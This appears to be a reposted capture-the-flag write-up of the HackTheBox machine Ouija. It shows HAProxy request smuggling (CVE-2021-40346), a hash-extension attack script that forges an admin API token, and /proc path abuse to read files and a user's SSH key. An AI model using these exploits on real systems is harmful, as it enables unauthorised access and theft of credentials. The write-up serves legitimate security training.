0% found this document useful (0 votes)
59 views43 pages

HTB Ouija

Uploaded by

lolkek0001
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
59 views43 pages

HTB Ouija

Uploaded by

lolkek0001
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 43

0xdf hacks stuff Home About Me Tags YouTube Gitlab feed

HTB: Ouija
🏷 hackthebox ctf htb-ouija nmap feroxbuster
request-smuggling integer-overflow burp-repeater
burp burp-proxy subdomain gitea haproxy cve-2021-40346
file-read proc hash-extender hash-extension youtube python
reverse-engineering php-module gdb peda ghidra bof arbitrary-write
May 18, 2024

HTB: Ouija Ouija starts with a requests smuggling


vulnerability that allows me to read from
Box Info
a dev site that’s meant to be blocked by
Recon HA Proxy. Access to the dev site leaks
Shell as leila information about the API, enough that I
Shell as root can do a hash extension attack to get a
working admin key for the API and abuse
it to read files from the system. I’ll read an SSH key and get a foothold.
From there, I’ll abuse a custom PHP module written in C and compiled into
a .so file. There’s an integer overflow vulnerability which I’ll abuse to
overwrite variables on the stack, providing arbitrary write as root on the
system.

Box Info

Name Ouija
Play on HackTheBox

Release Date 02 Dec 2023

Retire Date 18 May 2024

OS Linux

Hard [40]
Base Points
Insane
Insane [50]
[50]

Rated Difficulty
Name Ouija
Play on HackTheBox

Radar Graph

04:40:41

19:50:57

Creator

Recon
nmap
nmap finds three open TCP ports, SSH (22) and HTTP (80, 3000):

oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.244


Starting Nmap 7.80 ( https://nmap.org ) at 2024-05-12 21:22 EDT
Nmap scan report for 10.10.11.244
Host is up (0.12s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp

Nmap done: 1 IP address (1 host up) scanned in 7.25 seconds


oxdf@hacky$ nmap -p 22,80,3000 -sCV 10.10.11.244
Starting Nmap 7.80 ( https://nmap.org ) at 2024-05-12 21:22 EDT
Nmap scan report for 10.10.11.244
Host is up (0.11s latency).

PORT STATE SERVICE VERSION


22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu L
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (application/json; chars
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linu

Service detection performed. Please report any incorrect results


Nmap done: 1 IP address (1 host up) scanned in 15.92 seconds

Based on the OpenSSH and Apache versions, the host is likely running
Ubuntu 22.04 jammy.

Website - TCP 80
Site

The website on TCP 80 is the default Ubuntu Apache2 page:

Directory Brute Force

I’ll run feroxbuster against the site, but it finds nothing


oxdf@hacky$ feroxbuster -u http://10.10.11.244

___ ___ __ __ __ __ __ ___


|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.9.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.11.244
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.9.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbust
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403 GET 9l 28w 279c Auto-filtering found
404 GET 9l 31w 276c Auto-filtering found
200 GET 363l 961w 10671c http://10.10.11.244/
200 GET 258l 588w 15696c http://10.10.11.244/s
[####################] - 57s 30000/30000 0s found:2
[####################] - 57s 30000/30000 518/s http://10.

ouija.htb - TCP 80
Site

HTB has moved away from players just assuming that [boxname].htb is
the domain for the box in favor of always showing that to the HTB player in
some way, but somehow in this box that got messed up. On adding
ouija.htb to my /etc/hosts file, there’s a new site:
There’s not much of interest here. All the links go to places on the same
page. There’s an email, [email protected] at the bottom. The contact form
at the bottom has some client-side validation, but on clicking submit there’s
a POST to /contactform/contactform.php that returns a 404.

One other thing to note is that on loading the page, because I have
configured Burp to capture all .htb requests, I’ll notice it’s loading two
resources from gitea.ouija.htb :

These requests are just hanging because there’s no DNS resolution.

Tech Stack

The main site loads as index.html . There is the missing contactform.php


page, but I don’t think that is actually evidence that this is a PHP site (more
likely it’s part of the template and wasn’t set up).

The HTTP response headers don’t show much else:

HTTP/1.1 200 OK
date: Tue, 14 May 2024 16:38:33 GMT
server: Apache/2.4.52 (Ubuntu)
last-modified: Tue, 21 Nov 2023 12:26:11 GMT
etag: "4661-60aa8b531fec0-gzip"
accept-ranges: bytes
vary: Accept-Encoding
Content-Length: 18017
content-type: text/html
connection: close

This seems like a static site to me.


Directory Brute Force

Even if I don’t think the site is PHP, I’ll add it to feroxbuster just in case:

oxdf@hacky$ feroxbuster -u http://ouija.htb -x php

___ ___ __ __ __ __ __ ___


|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.9.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://ouija.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.9.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
💲 Extensions │ [php]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbust
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403 GET 9l 28w 274c Auto-filtering found
404 GET 9l 31w 271c Auto-filtering found
200 GET 410l 1325w 18017c http://ouija.htb/
301 GET 9l 28w 306c http://ouija.htb/admi
301 GET 9l 28w 303c http://ouija.htb/js =
301 GET 9l 28w 304c http://ouija.htb/lib
403 GET 3l 8w 93c Auto-filtering found
301 GET 9l 28w 304c http://ouija.htb/css
301 GET 9l 28w 304c http://ouija.htb/img
301 GET 9l 28w 312c http://ouija.htb/cont
200 GET 350l 749w 21906c http://ouija.htb/serv
[####################] - 2m 210000/210000 0s found:8
[####################] - 2m 30000/30000 248/s http://oui
[####################] - 1m 30000/30000 262/s http://oui
[####################] - 0s 30000/30000 0/s http://oui
[####################] - 0s 30000/30000 0/s http://oui
[####################] - 0s 30000/30000 0/s http://oui
[####################] - 0s 30000/30000 0/s http://oui
[####################] - 0s 30000/30000 0/s http://oui

/admin/ returns a 403 forbidden.


Subdomain Fuzz
Given the use of name-based routing, I’ll fuzz for other subdomains with
ffuf :

oxdf@hacky$ ffuf -u http://10.10.11.244 -H "Host: FUZZ.ouija.htb

/'___\ /'___\ /'___\


/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.0.0-dev
________________________________________________

:: Method : GET
:: URL : http://10.10.11.244
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdoma
:: Header : Host: FUZZ.ouija.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
________________________________________________

.htaccesswOslmDUB [Status: 403, Size: 93, Words: 6, Lines:


dev2 [Status: 403, Size: 93, Words: 6, Lines:
devel [Status: 403, Size: 93, Words: 6, Lines:
development [Status: 403, Size: 93, Words: 6, Lines:
dev1 [Status: 403, Size: 93, Words: 6, Lines:
develop [Status: 403, Size: 93, Words: 6, Lines:
dev3 [Status: 403, Size: 93, Words: 6, Lines:
developer [Status: 403, Size: 93, Words: 6, Lines:
dev01 [Status: 403, Size: 93, Words: 6, Lines:
dev4 [Status: 403, Size: 93, Words: 6, Lines:
developers [Status: 403, Size: 93, Words: 6, Lines:

There seems to be something blocking anything that starts with “dev”. That
suggests some kind of proxy or WAF. And that dev.ouija.htb might be
an interesting domain. I’ll update my /etc/hosts :

10.10.11.244 ouija.htb dev.ouija.htb gitea.ouija.htb


If I try to access dev.ouija.htb , it does return 403:

The HTTP response headers don’t have the Apache server header:

HTTP/1.1 403 Forbidden


content-length: 93
cache-control: no-cache
content-type: text/html
connection: close

This further suggests that the request isn’t reaching Apache.

gitea.ouija.htb - TCP 80
This is an instance of Gitea, the open-source hosted Git application. There’s
an option to register, but all I need is available in the one public repo,
ouija-htb from the leila user. The repo has the files for the main site:

The README.md file gives the technology serving the site:

HA-Proxy is probably what is blocking “dev*”.

API - TCP 3000


API

The HTTP server on 3000 is some kind of an API:

oxdf@hacky$ curl -v http://10.10.11.244:3000


* Trying 10.10.11.244:3000...
* Connected to 10.10.11.244 (10.10.11.244) port 3000 (#0)
> GET / HTTP/1.1
> Host: 10.10.11.244:3000
> User-Agent: curl/7.81.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< X-Powered-By: Express
< Content-Type: application/json; charset=utf-8
< Content-Length: 31
< ETag: W/"1f-gKMVcr/dSZNf3gkmiTCD5Te+lps"
< Date: Tue, 14 May 2024 11:21:52 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
<
* Connection #0 to host 10.10.11.244 left intact
"200 not found , redirect to ."

Brute Force

I’ll try to brute force paths on the API:

oxdf@hacky$ feroxbuster -u http://10.10.11.244:3000

___ ___ __ __ __ __ __ ___


|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.9.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.11.244:3000
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.9.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbust
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 1l 7w 31c Auto-filtering found
200 GET 1l 5w 42c http://10.10.11.244:3
200 GET 1l 1w 26c http://10.10.11.244:3
200 GET 1l 4w 25c http://10.10.11.244:3
200 GET 1l 5w 42c http://10.10.11.244:3
200 GET 1l 4w 25c http://10.10.11.244:3
200 GET 1l 1w 26c http://10.10.11.244:3
200 GET 1l 5w 42c http://10.10.11.244:3
[####################] - 54s 30000/30000 0s found:7
[####################] - 54s 30000/30000 555/s http://10.

The /register endpoint says it’s “disabled”:

oxdf@hacky$ curl http://10.10.11.244:3000/register


{"message":"__disabled__"}

It looks like /login is disabled as well:


oxdf@hacky$ curl http://10.10.11.244:3000/login
{"message":"uname and upass are required"}
oxdf@hacky$ curl 'http://10.10.11.244:3000/login?uname=0xdf&upas
{"message":"disabled (under dev)"}

Visiting /users returns an error message:

oxdf@hacky$ curl http://10.10.11.244:3000/users


"ihash header is missing"

It seems to be using some kind of custom authentication scheme with an


ihash header. This can be fuzzed a bit, but to no real value. I’ll return to
this later.

Shell as leila
Access dev.ouija.htb
Identify CVE-2021-40346

There’s a request smuggling vulnerability in the version of HA Proxy


mentioned in the instructions on Gitea:

NVD says this is fixed in 2.2.16, but the post from JFrog (who found the
vulnerability) says:

This vulnerability was fixed in versions 2.0.25, 2.2.17, 2.3.14 and 2.4.4 of
HAProxy.

NVD is just wrong on this one.

CVE-2021-40346 Background

The issue here is how HA Proxy handles requests in two stages with a POC
like this:

POST /index.html HTTP/1.1


Host: abc.com
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Content-Length: 60

GET /admin/add_user.py HTTP/1.1


Host: abc.com
abc: xyz

For this example, HA Proxy is set up to block requests to /admin/ .

HA Proxy parses this in two passes. In the first pass, it reaches the third line
and parses it into a structure that has 1 byte for the header name length,
and then the header name. Because this header is 270 bytes, there’s an
overflow, as the binary for 270 is 100001110 (nine bits). As the struct can
only hold 8, it stores 00001110, which is 14. The value of the header is
stored in the same way. The length would be 0 (as there is no data after the
“:”), but the extra 1 from the header name size actually ends up here, giving
this header a length of 1, and a value of “0”. Still on the first pass, it see the
Content-Length header of 60, and uses it to read the body to the end of
the request.

On the next pass, HA Proxy passes over the struct and reached the
malformed header which is now saved as 14 bytes long, so it matches
“Content-Length”, with a value of “0” (1 byte long). The next header is
ignored as a duplicate. So it forwards on this as a single request:

POST /index.html HTTP/1.1


host: abc.com
content-length: 0
x-forwarded-for: 192.168.188.1

GET /admin/add_user.py HTTP/1.1


Host: abc.com
abc: xyz

When the client gets this, it reads the first request, understanding it to be 0
in length, and parses up to just before the “G”. Then it assumes this is
another request, coming over the same connection, and processes it as well.
This means the attack has successfully bypassed HA Proxy’s block on
/admin/ .

Smuggling POCs

To exploit this, I’ll send a request to / to Burp Repeater, and update the
headers to look like the POC. I had to play with this a lot to get it working,
and found that starting another request at the end made it much more
stable. So it looks like this:

The Content-Length is the distance from the start of the second request
to the start of the third. That way the request sent from HA Proxy will cut off
there. Having the third request seems to make it much more stable.
It’s very important to uncheck the Burp option to “Update Content-Length”,
which it typically checked by default (and in each new repeater window):

I’m targeting gitea.ouija.htb so that I can know what to expect if it’s


successful.

When I send this, the response looks like the normal response for
ouija.htb :

However, towards the bottom:

The second response is just appended to the first, and it got the Gitea site!

I’ll update the host in the second request from gitea to dev , and subtract
two from the Content-Length to account for that:

It returns dev.ouija.htb .

Read dev.ouija.htb
Site Root

I can copy the HTML and open it in Firefox to see what it looks like:

The CSS doesn’t load, but the general page is clear. The link to app.js is
http://dev.ouija.htb/editor.php?file=app.js , and init.sh is the
same path with an updated file argument.

Read Files

I’ll update the request and Content-Length again, and get editor.php
with the app.js file, which shows the loaded file in a text field element:

editor.php

I can read editor.php by getting ../editor.php :

The source is:

<?php ?>
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<title>Text Editor</title>
<link rel="stylesheet" href="style.css">
</head>

<body>
<h1>Text Editor</h1>

<div class="container">
<h3><?php

if(isset($_GET['file'])) {
echo $_GET['file'];
} else {
echo "No file selected";
}

?></h3>
<textarea name="content" id="content" cols="30" rows="1

if(isset($_GET['file'])) {
$filename = $_GET['file'];
$url = "uploads/$filename";
echo file_get_contents($url);
} else {
echo "Choose a file in order to edit it.";
}

?></textarea>
<button type="submit">Save</button>
</div>
</body>
<footer>
&copy; 2023 ouija software
</footer>
</html>

It can read any file on the host.

But it’s a file_get_contents , not an include , so no execution from this


(and not an LFI vulnerability).

API Analysis
init.sh

init.sh is a Bash script that


#!/bin/bash

echo "$(date) api config starts" >>


mkdir -p .config/bin .config/local .config/share /var/log/zapi
export k=$(cat /opt/auth/api.key)
export botauth_id="bot1:bot"
export hash="4b22a0418847a51650623a458acc1bba5c01f6521ea6135872
ln -s /proc .config/bin/process_informations
echo "$(date) api config done" >> /var/log/zapi/api.log

exit 1

This script…is full of errors and wouldn’t actually do anything it’s claiming to
do, but I’m going to try to learn from it anyway.

The most important things are the two environment variables, botauth_id
and hash , which I’ll note. I can try to read /opt/auth/api.key , but it
doesn’t return.

There’s also a symbolic link created in the init, putting /proc in the current
directory.

I can try to use these two as headers requested by /users on the API:

oxdf@hacky$ curl 'http://10.10.11.244:3000/users'


"ihash header is missing"
oxdf@hacky$ curl 'http://10.10.11.244:3000/users' -H "ihash: 4b2
"identification header is missing"
oxdf@hacky$ curl 'http://10.10.11.244:3000/users' -H "ihash: 4b2
"Invalid Token"

It doesn’t work. I’ll look at why in the source below.

app.js

The app.js file is the source code for the API on TCP 3000:

var express = require('express');


var app = express();
var crt = require('crypto');
var b85 = require('base85');
var fs = require('fs');
const key = process.env.k;

app.listen(3000, ()=>{ console.log("listening @ 3000"); });


function d(b){
s1=(Buffer.from(b, 'base64')).toString('utf-8');
s2=(Buffer.from(s1.toLowerCase(), 'hex'));
return s2;
}
function generate_cookies(identification){
var sha256=crt.createHash('sha256');
wrap = sha256.update(key);
wrap = sha256.update(identification);
hash=sha256.digest('hex');
return(hash);
}
function verify_cookies(identification, rhash){
if( ((generate_cookies(d(identification)))) === rhash){
return 0;
}else{return 1;}
}
function ensure_auth(q, r) {
if(!q.headers['ihash']) {
r.json("ihash header is missing");
}
else if (!q.headers['identification']) {
r.json("identification header is missing");
}

if(verify_cookies(q.headers['identification'], q.headers['i
r.json("Invalid Token");
}
else if (!(d(q.headers['identification']).includes("::admin
r.json("Insufficient Privileges");
}
}

app.get("/login", (q,r,n) => {


if(!q.query.uname || !q.query.upass){
r.json({"message":"uname and upass are required"});
}else{
if(!q.query.uname || !q.query.upass){
r.json({"message":"uname && upass are required"});
}else{
r.json({"message":"disabled (under dev)"});
}
}
});
app.get("/register", (q,r,n) => {r.json({"message":"__disabled__
app.get("/users", (q,r,n) => {
ensure_auth(q, r);
r.json({"message":"Database unavailable"});
});
app.get("/file/get",(q,r,n) => {
ensure_auth(q, r);
if(!q.query.file){
r.json({"message":"?file= i required"});
}else{
let file = q.query.file;
if(file.startsWith("/") || file.includes('..') || file.
r.json({"message":"Action not allowed"});
}else{
fs.readFile(file, 'utf8', (e,d)=>{
if(e) {
r.json({"message":e});
}else{
r.json({"message":d});
}
});
}
}
});
app.get("/file/upload", (q,r,n) =>{r.json({"message":"Disabled
app.get("/*", (q,r,n) => {r.json("200 not found , redirect to .

This code is very clearly AI generated, as it does all sorts of silly things (like
checking twice in the /login function if the arguments are provided).

The /users endpoint is disabled as well:

app.get("/users", (q,r,n) => {


ensure_auth(q, r);
r.json({"message":"Database unavailable"});
});

The function that is useful is /file/read :

app.get("/file/get",(q,r,n) => {
ensure_auth(q, r);
if(!q.query.file){
r.json({"message":"?file= i required"});
}else{
let file = q.query.file;
if(file.startsWith("/") || file.includes('..') || file.
r.json({"message":"Action not allowed"});
}else{
fs.readFile(file, 'utf8', (e,d)=>{
if(e) {
r.json({"message":e});
}else{
r.json({"message":d});
}
});
}
}
});

While I already have file read on the dev site, this is likely running on a
different host/container (as evidenced by the fact that the
/opt/auth/api.key file isn’t on dev ) and is worth pursuing.

ensure_auth

This function has the same call to ensure_auth that /users has:

function ensure_auth(q, r) {
if(!q.headers['ihash']) {
r.json("ihash header is missing");
}
else if (!q.headers['identification']) {
r.json("identification header is missing");
}

if(verify_cookies(q.headers['identification'], q.headers['i
r.json("Invalid Token");
}
else if (!(d(q.headers['identification']).includes("::admin
r.json("Insufficient Privileges");
}
}

There are four criteria:

ihash and identification headers must exist;


verify_cookies must return True;
the decoded identification header must include ::admin:True .

Pass Token Correctly

verify_cookies checks that the decoded ( d ) identification matches


the ihash header:

function verify_cookies(identification, rhash){


if( ((generate_cookies(d(identification)))) === rhash){
return 0;
}else{return 1;}
}

d takes a string, base64 decodes it, and then hex decodes it:

function d(b){
s1=(Buffer.from(b, 'base64')).toString('utf-8');
s2=(Buffer.from(s1.toLowerCase(), 'hex'));
return s2;
}

So to use the token, I need to take the identifier, convert it to hex, and the
base64 (something no reasonable programmer would ever do, but ok).

I can try that with the identifier and hash from init.sh :

oxdf@hacky$ echo -n "bot1:bot" | xxd -p | base64


NjI2Zjc0MzEzYTYyNmY3NAo=
oxdf@hacky$ curl 'http://10.10.11.244:3000/users' -H "ihash: 4b2
"Insufficient Privileges"

That means I’ve got a valid token, it just doesn’t include ::admin:True .

generate_cookies

The generate_cookies function is where the hash is generated to be


compared to the ihash header:

function generate_cookies(identification){
var sha256=crt.createHash('sha256');
wrap = sha256.update(key);
wrap = sha256.update(identification);
hash=sha256.digest('hex');
return(hash);
}

It takes a SHA256 hash of an unknown key plus the identifier and returns
the hex hash. Without knowing the key , I can’t just calculate the hash for
the identification I want.

Hash Extension Attack


Background

There is a well known attack against a situation like this where there’s some
unknown secret prepended to data and then hashed called a hash
extension attack. The attack is against how hashes are calculated. Hashes
take in any amount of data and return a fixed size fingerprint. To do that,
they read in some block size, perform some calculations arriving at some
state. Then they read in the next block, combine it with the previous state,
and get a new state. Once all the data is read, the state is used to generate
the fingerprint.

The attack is that I don’t have to know the data that went into the hash to
recreate the state at the end from the hash. That means I can append
additional data and work from that state to get the correct hash of the new
data.

In summary, in a scenario where I have data and the hash of an unknown


secret plus data, I can add more data to the end and calculate the new hash
without knowing the original secret. I’ve shown this a few times before, with
the 2021 Sans Holiday Hack Printer Firmware challenge, as well as two
HackTheBox machines, Intense and Extension.

hash_extender

There’s a great tool for doing the hash extension attack, hash_extender. The
README.md has a lot of detail about how the attack works.

To use the tool, I need to give it:

the current data


the known good hash for that data plus secret
the data I want to append
the format of the hash
the length of the secret

So for secret of length 8, I’ll run it and get:

oxdf@hacky$ ./hash_extender -data 'bot1:bot' --secret 8 --append


Type: sha256
Secret length: 8
New signature: 14be2f4a24f876a07a5570cc2567e18671b15e0e005ed92f1
New string: 626f74313a626f74800000000000000000000000000000000000

I can base64 encode that and submit it:

oxdf@hacky$ echo -n 626f74313a626f748000000000000000000000000000


NjI2Zjc0MzEzYTYyNmY3NDgwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
oxdf@hacky$ curl 'http://10.10.11.244:3000/users' -H "ihash: 14b
"Invalid Token"
That hash didn’t work because the length was wrong.

Find Length

The obvious way to find the right secret length is just to brute force it. I
could do this in Bash, but to practice some of the better Python techniques
I’ve been developing lately I’ll develop in Python, shown in this video:

Hash Extension Attack [HackTheBox Ouija]


Share

Watch on

The final script is:

#!/usr/bin/env python3

import requests
import subprocess
from base64 import b64encode

data = "bot1:bot"
append = "::admin:True"
signature = "4b22a0418847a51650623a458acc1bba5c01f6521ea6135872

class HashExtender:
"""/opt/hash_extender/hash_extender --data 'bot1:bot' --app
135872b9f15b56b988c1 --format sha256 --secret 8"""

@classmethod
def generate(cls, secret_length: int, orig_data: str, appen
he = cls(secret_length, orig_data, append_data, signatu
he.calculate()
return he

def __init__(self, secret_length: int, orig_data: str, appe


self.secret_length: int = secret_length
self.signature: str = signature
self.orig_data: str = orig_data
self.append_data: str = append_data

def calculate(self) -> None:


result = subprocess.run(
[
"/opt/hash_extender/hash_extender",
"--data",
self.orig_data,
"--append",
self.append_data,
"--signature",
self.signature,
"--format",
"sha256",
"--secret",
str(self.secret_length),
],
capture_output=True,
)
lines = result.stdout.decode().split('\n')
assert lines[2].startswith("New signature")
self.new_signature = lines[2].split(" ")[-1]
assert lines[3].startswith("New string")
self.new_data = lines[3].split(" ")[-1]

@property
def encoded_new_data(self) -> str:
return b64encode(self.new_data.encode()).decode()

def __str__(self) -> str:


return f"secret length: {self.secret_length}\nihash: {s

def __repr__(self) -> str:


return f"<HashExtender seclen: {self.secret_length} dat

def check_signature(data, ihash) -> bool:


"""curl http://ouija.htb:3000/users -H "ihash: 4b22a04
18847a51650623a458acc1bba5c01f6521ea6135872b9f15b56b988c1" -H "
resp = requests.get(
'http://ouija.htb:3000/users',
headers={'ihash': ihash, 'identification': data}
)
return not "Invalid Token" in resp.text
for i in range(100):
he = HashExtender.generate(i, data, append, signature)
if check_signature(he.encoded_new_data, he.new_signature):
break

print(he)

Running it gives me a valid token:

oxdf@hacky$ time python find_hash.py


secret length: 23
ihash: 14be2f4a24f876a07a5570cc2567e18671b15e0e005ed92f10089533c
identification: NjI2Zjc0MzEzYTYyNmY3NDgwMDAwMDAwMDAwMDAwMDAwMDAw

real 0m4.618s
user 0m0.155s
sys 0m0.005s
oxdf@hacky$ curl http://ouija.htb:3000/users -H "ihash: 14be2f4a
{"message":"Database unavailable"}

It says unavailable, but that means the token is good.

File Read
/proc

I can’t give the /file/get endpoint anything starting with / or that


contains .. , but I do have that symbolic link to /proc at
.config/bin/process_informations . I’ll try to read from that:

oxdf@hacky$ curl http://ouija.htb:3000/file/get?file=.config/bin


{"message":"/usr/bin/js\u0000/var/www/api/app.js\u0000"}

That’s the command line showing /usr/bin/js /var/www/api/app.js ! I


can pull the environment (with some jq and tr to make it pretty):

oxdf@hacky$ curl http://ouija.htb:3000/file/get?file=.config/bin


LANG=en_US.UTF-8
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bi
HOME=/home/leila
LOGNAME=leila
USER=leila
SHELL=/bin/bash
INVOCATION_ID=fe2b8312bab3450fa67aa83479a149e8
JOURNAL_STREAM=8:22049
SYSTEMD_EXEC_PID=848
k=FKJS645GL41534DSKJ@@GBD

I’ll note that the process is running as leila, who has home directory
/home/leila .

The secret is there, k . It’s 23 characters as expected, and when combined


with “bot:bot1” it makes the expected hash:

oxdf@hacky$ echo -n "FKJS645GL41534DSKJ@@GBD" | wc -c


23
oxdf@hacky$ echo -n "FKJS645GL41534DSKJ@@GBDbot1:bot" | sha256su
4b22a0418847a51650623a458acc1bba5c01f6521ea6135872b9f15b56b988c1

Escape

One of the files in /proc for a given process is root , which is a symbolic
link to the root of the filesystem. This is used for processes running in jails
or containers:

oxdf@hacky$ ls -l root
lrwxrwxrwx 1 oxdf oxdf 0 May 15 12:39 root -> /

Using this, I can read basically any file that leila can read:

oxdf@hacky$ curl http://ouija.htb:3000/file/get?file=.config/bin


root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

That includes leila’s private SSH key:


oxdf@hacky$ curl http://ouija.htb:3000/file/get?file=.config/bin
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdz
NhAAAAAwEAAQAAAYEAqdhNH4Q8tqf8bXamRpLkKKsPSgaVR1CzNR/P2WtdVz0Fsm
...[snip]...
DvfM2TbsfLo4kAAAALbGVpbGFAb3VpamE=
-----END OPENSSH PRIVATE KEY-----

SSH
With that key, I can connect to Ouija with SSH as leila:

oxdf@hacky$ ssh -i ~/keys/ouija-leila [email protected]


Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-89-generic x86_6
...[snip]...
leila@ouija:~$

And read user.txt :

leila@ouija:~$ cat user.txt


9c465d39************************

Shell as root
Enumeration
Home Directories

leila’s home directory is very empty:

leila@ouija:~$ ls -la
total 36
drwxr-x--- 5 leila leila 4096 Nov 22 12:58 .
drwxr-xr-x 3 root root 4096 Nov 22 12:13 ..
lrwxrwxrwx 1 root root 9 Jun 26 2023 .bash_history -> /dev
-rw-r--r-- 1 leila leila 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 leila leila 3771 Jan 6 2022 .bashrc
drwx------ 2 leila leila 4096 Nov 22 12:13 .cache
drwxrwxr-x 3 leila leila 4096 Nov 22 12:13 .local
-rw-r--r-- 1 leila leila 807 Jan 6 2022 .profile
drwx------ 2 leila leila 4096 Nov 22 12:13 .ssh
-rw-r----- 1 root leila 33 Jun 26 2023 user.txt

There’s no other home directory and no other non-root user with a shell:

leila@ouija:/home$ ls
leila
leila@ouija:/home$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
leila:x:1000:1000:helper:/home/leila:/bin/bash

Processes

leila can only see processes they started:

leila@ouija:~$ ps auxww
USER PID %CPU %MEM VSZ RSS TTY STAT START TI
leila 848 0.0 2.1 668208 87272 ? Ssl May13 0:
leila 1692 0.2 4.2 1401124 172216 ? Ssl May13 11:
leila 1223029 3.5 0.2 17316 10020 ? Ss 21:55 0:
leila 1223143 0.6 0.1 8672 5468 pts/0 Ss 21:55 0:
